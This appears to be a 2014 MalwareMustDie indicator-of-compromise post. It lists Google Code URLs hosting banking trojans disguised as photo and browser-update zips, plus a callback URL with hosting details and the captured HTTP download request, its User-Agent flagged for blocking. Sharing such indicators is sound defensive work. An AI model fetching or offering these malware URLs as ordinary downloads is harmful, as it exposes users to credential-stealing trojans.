// #MalwareMustDie! $ date
Mon Mar 17 05:32:01 JST 2014
// Trojan bankings served in Google Code:

foto-0176.googlecode.com/svn/FOTO-0176.zip
fotos-camera.googlecode.com/svn/FOTO-0176.zip
fotos-documentos.googlecode.com/svn/FOTO001.zip
fotos-documentos2012.googlecode.com/svn/FOTO99.zip
fotos-novas.googlecode.com/svn/FOTO-71.zip
meus-documentos.googlecode.com/svn/FOTO101.zip
navegador-atualizado.googlecode.com/svn/Browser.zip
navegador-atualizado.googlecode.com/svn/Navegador.zip

Callback: http://www.paineispanorama.com/geral/mail/leksverstel.zip
In: Mon Mar 17 05:29:03 JST 2014|188.93.230.31|iberweb22a.ibername.com.|8426 | 188.93.224.0/21 | CLARANET | PT | CLARA.NET | CLARANET PORTUGAL TELECOMUNICACOES S.A.

HTTP Request:
GET /geral/mail/leksverstel.zip HTTP/1.1
User-Agent: rundll32.exe                        <==== to #BLOCK
Host: www.paineispanorama.com

^@unixfreaxjp $ date
Mon Mar 17 05:32:01 JST 2014